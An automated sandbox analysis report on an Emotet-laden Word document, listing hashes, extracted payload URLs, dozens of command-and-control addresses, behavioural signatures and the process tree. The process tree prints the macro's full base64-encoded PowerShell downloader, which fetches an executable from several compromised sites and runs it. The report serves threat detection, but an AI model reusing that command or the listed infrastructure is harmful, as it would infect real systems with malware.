Analysis
-
max time kernel
58s -
max time network
161s -
platform
windows7_x64 -
resource
win7 -
submitted
01-08-2020 19:37
Static task
static1
Behavioral task
behavioral1
Sample
SecuriteInfo.com.Exploit.Siggen2.13129.30925.2274.doc
Resource
win7
General
-
Target
SecuriteInfo.com.Exploit.Siggen2.13129.30925.2274.doc
-
Size
174KB
-
MD5
1307aef9d3541d47a9d2e483a3a0ed8c
-
SHA1
97030a06fa760a67b316e4f34aa98ff7ab4bea86
-
SHA256
ab0044f2f254b4928a9ce9ae9a0d1cb2217f5f4b23c1d6378286dcf834db631a
-
SHA512
7d791d0320eb9366cf7918cf25015cadc5c23feebb839ca6bd61d8f2ec574bbcf7ff1244139b09bfe6848c18b282ea8a468f5f6e194b12b3182f0121b375add4
Malware Config
Extracted
http://rikotut.net/rikotut4/vka_spx_tlz/
http://ronnietucker.co.uk/fcm-dl/94_xeb_m7rfe9yj/
http://rivcon.net/images/ze1_r8_3jdpf63/
http://rollingturtle.com/music/isef_vmr_p/
http://ronsonpainting.com/photogallery/7_26kr_ngbv3sha/
Extracted
emotet
142.105.151.124:443
62.108.54.22:8080
212.51.142.238:8080
71.208.216.10:80
108.48.41.69:80
83.110.223.58:443
210.165.156.91:80
104.131.44.150:8080
104.236.246.93:8080
5.39.91.110:7080
209.141.54.221:8080
209.182.216.177:443
153.126.210.205:7080
91.211.88.52:7080
180.92.239.110:8080
183.101.175.193:80
162.241.92.219:8080
87.106.139.101:8080
114.146.222.200:80
65.111.120.223:80
113.160.130.116:8443
190.160.53.126:80
62.75.141.82:80
46.105.131.87:80
203.153.216.189:7080
46.105.131.79:8080
91.231.166.124:8080
81.2.235.111:8080
189.212.199.126:443
95.9.185.228:443
169.239.182.217:8080
47.153.182.47:80
116.203.32.252:8080
139.130.242.43:80
75.139.38.211:80
41.60.200.34:80
47.144.21.12:443
103.86.49.11:8080
95.179.229.244:8080
173.91.22.41:80
70.167.215.250:8080
110.145.77.103:80
85.59.136.180:8080
5.196.74.210:8080
24.234.133.205:80
76.27.179.47:80
104.131.11.150:443
87.106.136.232:8080
61.19.246.238:443
201.173.217.124:443
176.111.60.55:8080
200.55.243.138:8080
74.208.45.104:8080
139.59.60.244:8080
67.241.24.163:8080
24.43.99.75:80
93.51.50.171:8080
109.74.5.95:8080
137.59.187.107:8080
37.139.21.175:8080
157.245.99.39:8080
124.45.106.173:443
47.146.117.214:80
95.213.236.64:8080
62.138.26.28:8080
190.55.181.54:443
24.179.13.119:80
152.168.248.128:443
222.214.218.37:4143
168.235.67.138:7080
181.230.116.163:80
121.124.124.40:7080
79.98.24.39:8080
37.187.72.193:8080
162.154.38.103:80
78.24.219.147:8080
200.41.121.90:80
185.94.252.104:443
50.116.86.205:8080
Signatures
-
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
WINWORD.EXEpid process 1688 WINWORD.EXE -
Suspicious use of SetWindowsHookEx 4 IoCs
Processes:
WINWORD.EXE174.exeC_G18030.exepid process 1688 WINWORD.EXE 1688 WINWORD.EXE 1836 174.exe 1580 C_G18030.exe -
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
powersheLL.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1932 1912 powersheLL.exe -
Modifies registry class 280 IoCs
Processes:
WINWORD.EXEdescription ioc process Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{8BD21D53-EC42-11CE-9E0D-00AA006002F3} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{7B020EC2-AF6C-11CE-9F46-00AA00574A4F}\ = "ScrollbarEvents" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{79176FB2-B7F2-11CE-97EF-00AA006D2776}\ = "SpinbuttonEvents" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{47FF8FE0-6198-11CF-8CE8-00AA006CB389} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{5CEF5613-713D-11CE-80C9-00AA00611080}\ = "IPage" WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{623CF1CA-99C3-4F4A-BE93-500B465F8374}\2.0 WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{04598FC6-866C-11CF-AB7C-00AA00C08FCF} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{04598FC8-866C-11CF-AB7C-00AA00C08FCF}\ = "_UserForm" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{8BD21D52-EC42-11CE-9E0D-00AA006002F3} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{7B020EC2-AF6C-11CE-9F46-00AA00574A4F} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{47FF8FE3-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents4" WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{623CF1CA-99C3-4F4A-BE93-500B465F8374}\2.0\FLAGS\ = "6" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{04598FC4-866C-11CF-AB7C-00AA00C08FCF}\ = "ICommandButton" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{5512D111-5CC6-11CF-8D67-00AA00BDCE1D} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{5512D11D-5CC6-11CF-8D67-00AA00BDCE1D} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{8BD21D53-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcOptionButton" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{5512D117-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLCheckbox" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{5512D119-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLOption" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{04598FC7-866C-11CF-AB7C-00AA00C08FCF} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{8BD21D43-EC42-11CE-9E0D-00AA006002F3} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{79176FB3-B7F2-11CE-97EF-00AA006D2776}\ = "ISpinbutton" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{47FF8FE9-6198-11CF-8CE8-00AA006CB389} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{47FF8FE9-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents10" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\TypeLib\{623CF1CA-99C3-4F4A-BE93-500B465F8374} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{82B02372-B5BC-11CF-810F-00A0C9030074}\ = "IReturnString" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{8BD21D23-EC42-11CE-9E0D-00AA006002F3} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{8BD21D12-EC42-11CE-9E0D-00AA006002F3} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{4C5992A5-6926-101B-9992-00000B65C6F9} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{82B02371-B5BC-11CF-810F-00A0C9030074} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{04598FC3-866C-11CF-AB7C-00AA00C08FCF}\ = "IScrollbar" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{978C9E22-D4B0-11CE-BF2D-00AA003F40D0} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{47FF8FE3-6198-11CF-8CE8-00AA006CB389} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{5B9D8FC8-4A71-101B-97A6-00000B65C08B} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{A38BFFC3-A5A0-11CE-8107-00AA00611080}\ = "Tab" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{5512D11D-5CC6-11CF-8D67-00AA00BDCE1D} WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{623CF1CA-99C3-4F4A-BE93-500B465F8374} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{4C599243-6926-101B-9992-00000B65C6F9} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{47FF8FE2-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents3" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{5512D119-5CC6-11CF-8D67-00AA00BDCE1D} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{5512D125-5CC6-11CF-8D67-00AA00BDCE1D} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{47FF8FE1-6198-11CF-8CE8-00AA006CB389} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{04598FC2-866C-11CF-AB7C-00AA00C08FCF}\ = "ITabStrip" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{5512D11B-5CC6-11CF-8D67-00AA00BDCE1D} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{5512D123-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLSelect" WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{623CF1CA-99C3-4F4A-BE93-500B465F8374}\2.0\FLAGS WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{9A4BBF53-4E46-101B-8BBD-00AA003E3B29}\ = "ControlEvents" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{79176FB2-B7F2-11CE-97EF-00AA006D2776} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{47FF8FE1-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents2" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{92E11A03-7358-11CE-80CB-00AA00611080} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{04598FC7-866C-11CF-AB7C-00AA00C08FCF}\ = "Controls" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{CF3F94A0-F546-11CE-9BCE-00AA00608E01} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{7B020EC7-AF6C-11CE-9F46-00AA00574A4F} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{978C9E22-D4B0-11CE-BF2D-00AA003F40D0}\ = "LabelControlEvents" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{47FF8FE5-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents6" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{4C599243-6926-101B-9992-00000B65C6F9}\ = "IImage" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{7B020EC7-AF6C-11CE-9F46-00AA00574A4F}\ = "TabStripEvents" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{29B86A70-F52E-11CE-9BCE-00AA00608E01}\ = "IOptionFrame" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{5B9D8FC8-4A71-101B-97A6-00000B65C08B}\ = "FormEvents" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{04598FC1-866C-11CF-AB7C-00AA00C08FCF} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{8BD21D42-EC42-11CE-9E0D-00AA006002F3} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{79176FB2-B7F2-11CE-97EF-00AA006D2776}\ = "SpinbuttonEvents" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{8BD21D13-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcText" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{978C9E22-D4B0-11CE-BF2D-00AA003F40D0} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{7B020EC1-AF6C-11CE-9F46-00AA00574A4F} WINWORD.EXE -
Suspicious use of WriteProcessMemory 4 IoCs
Processes:
174.exedescription pid process target process PID 1836 wrote to memory of 1580 1836 174.exe C_G18030.exe PID 1836 wrote to memory of 1580 1836 174.exe C_G18030.exe PID 1836 wrote to memory of 1580 1836 174.exe C_G18030.exe PID 1836 wrote to memory of 1580 1836 174.exe C_G18030.exe -
Emotet Payload 4 IoCs
Detects Emotet payload in memory.
Processes:
resource yara_rule behavioral1/memory/1836-12-0x00000000002C0000-0x00000000002CC000-memory.dmp emotet behavioral1/memory/1836-12-0x00000000002C0000-0x00000000002CC000-memory.dmp emotet behavioral1/memory/1580-15-0x00000000002D0000-0x00000000002DC000-memory.dmp emotet behavioral1/memory/1580-15-0x00000000002D0000-0x00000000002DC000-memory.dmp emotet -
Office loads VBA resources, possible macro or embedded object present
-
Drops file in System32 directory 2 IoCs
Processes:
powersheLL.exe174.exedescription ioc process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powersheLL.exe File opened for modification C:\Windows\SysWOW64\ipsmsnap\C_G18030.exe 174.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powersheLL.exedescription pid process Token: SeDebugPrivilege 1932 powersheLL.exe -
Suspicious behavior: EnumeratesProcesses 4 IoCs
Processes:
powersheLL.exeC_G18030.exepid process 1932 powersheLL.exe 1932 powersheLL.exe 1580 C_G18030.exe 1580 C_G18030.exe -
Blacklisted process makes network request 1 IoCs
Processes:
powersheLL.exeflow pid process 5 1932 powersheLL.exe -
Executes dropped EXE 2 IoCs
Processes:
174.exeC_G18030.exepid process 1836 174.exe 1580 C_G18030.exe
Processes
-
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Exploit.Siggen2.13129.30925.2274.doc"1⤵
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Modifies registry class
-
C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exepowersheLL -e JABSAE8AVwBWAFQAZQBpAHQAPQAnAE8ARABLAEIATgBmAGcAYgAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGUAQwBgAFUAcgBJAHQAeQBwAFIATwBgAFQAbwBDAG8ATAAiACAAPQAgACcAdABsAHMAMQAyACwAIAB0AGwAcwAxADEALAAgAHQAbABzACcAOwAkAEkAWgBXAEYAVABjAG4AYQAgAD0AIAAnADEANwA0ACcAOwAkAEUAVQBJAEMARwBwAHQAcAA9ACcAQwBTAEYAWgBHAGMAbwBmACcAOwAkAFYAQwBYAEIATwBoAHEAeAA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQASQBaAFcARgBUAGMAbgBhACsAJwAuAGUAeABlACcAOwAkAFoASQBTAFMAVgB4AGMAdAA9ACcARwBNAFEAWQBTAHkAdgB2ACcAOwAkAFIAUgBWAFQAQQBpAHcAZwA9AC4AKAAnAG4AZQAnACsAJwB3AC0AbwBiACcAKwAnAGoAJwArACcAZQBjAHQAJwApACAAbgBFAHQALgB3AGUAQgBjAEwAaQBFAE4AVAA7ACQARgBKAFEAUwBFAHEAYwBwAD0AJwBoAHQAdABwADoALwAvAHIAaQBrAG8AdAB1AHQALgBuAGUAdAAvAHIAaQBrAG8AdAB1AHQANAAvAHYAawBhAF8AcwBwAHgAXwB0AGwAegAvACoAaAB0AHQAcAA6AC8ALwByAG8AbgBuAGkAZQB0AHUAYwBrAGUAcgAuAGMAbwAuAHUAawAvAGYAYwBtAC0AZABsAC8AOQA0AF8AeABlAGIAXwBtADcAcgBmAGUAOQB5AGoALwAqAGgAdAB0AHAAOgAvAC8AcgBpAHYAYwBvAG4ALgBuAGUAdAAvAGkAbQBhAGcAZQBzAC8AegBlADEAXwByADgAXwAzAGoAZABwAGYANgAzAC8AKgBoAHQAdABwADoALwAvAHIAbwBsAGwAaQBuAGcAdAB1AHIAdABsAGUALgBjAG8AbQAvAG0AdQBzAGkAYwAvAGkAcwBlAGYAXwB2AG0AcgBfAHAALwAqAGgAdAB0AHAAOgAvAC8AcgBvAG4AcwBvAG4AcABhAGkAbgB0AGkAbgBnAC4AYwBvAG0ALwBwAGgAbwB0AG8AZwBhAGwAbABlAHIAeQAvADcAXwAyADYAawByAF8AbgBnAGIAdgAzAHMAaABhAC8AJwAuACIAUwBwAGAAbABJAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABJAE0AUABHAFoAcAByAHEAPQAnAEkARABEAFoAWgBhAGEAYwAnADsAZgBvAHIAZQBhAGMAaAAoACQASQBNAEkATgBHAHQAZgB1ACAAaQBuACAAJABGAEoAUQBTAEUAcQBjAHAAKQB7AHQAcgB5AHsAJABSAFIAVgBUAEEAaQB3AGcALgAiAEQAbwB3AE4AbABgAE8AQQBEAGAARgBpAGwAZQAiACgAJABJAE0ASQBOAEcAdABmAHUALAAgACQAVgBDAFgAQgBPAGgAcQB4ACkAOwAkAFoATABaAEwAQQBuAHoAbgA9ACcAQgBFAEEASABFAGsAZwBnACcAOwBJAGYAIAAoACgALgAoACcARwBlACcAKwAnAHQALQBJACcAKwAnAHQAZQBtACcAKQAgACQAVgBDAFgAQgBPAGgAcQB4ACkALgAiAGwARQBOAGAARwBgAFQASAAiACAALQBnAGUAIAAzADQANgAzADAAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACcAdwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwAnACkALgAiAGMAUgBlAGAAQQBgAFQARQAiACgAJABWAEMAWABCAE8AaABxAHgAKQA7ACQAUwBJAEQAQgBFAGcAdABwAD0AJwBIAE0AUABYAFEAYwB2AGoAJwA7AGIAcgBlAGEAawA7ACQAVwBNAEMASABNAG0AcABtAD0AJwBCAFoAUwBTAFQAaABrAGoAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAVwBLAFUARQBHAHgAbABmAD0AJwBMAEcASwBFAEkAYgBqAGoAJwA=1⤵
- Process spawned unexpected child process
- Drops file in System32 directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
- Blacklisted process makes network request
-
C:\Users\Admin\174.exeC:\Users\Admin\174.exe1⤵
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
- Drops file in System32 directory
- Executes dropped EXE
-
C:\Windows\SysWOW64\ipsmsnap\C_G18030.exe"C:\Windows\SysWOW64\ipsmsnap\C_G18030.exe"2⤵
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: EnumeratesProcesses
- Executes dropped EXE
Network
MITRE ATT&CK Matrix
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\174.exe
-
C:\Users\Admin\174.exe
-
C:\Windows\SysWOW64\ipsmsnap\C_G18030.exe
-
memory/1580-13-0x0000000000000000-mapping.dmp
-
memory/1580-15-0x00000000002D0000-0x00000000002DC000-memory.dmpFilesize
48KB
-
memory/1688-2-0x00000000088C0000-0x00000000088C4000-memory.dmpFilesize
16KB
-
memory/1688-4-0x0000000006D60000-0x0000000006F60000-memory.dmpFilesize
2.0MB
-
memory/1688-5-0x000000000AD50000-0x000000000AD54000-memory.dmpFilesize
16KB
-
memory/1688-6-0x000000000BDD0000-0x000000000BDD4000-memory.dmpFilesize
16KB
-
memory/1688-9-0x0000000002100000-0x0000000002101000-memory.dmpFilesize
4KB
-
memory/1836-12-0x00000000002C0000-0x00000000002CC000-memory.dmpFilesize
48KB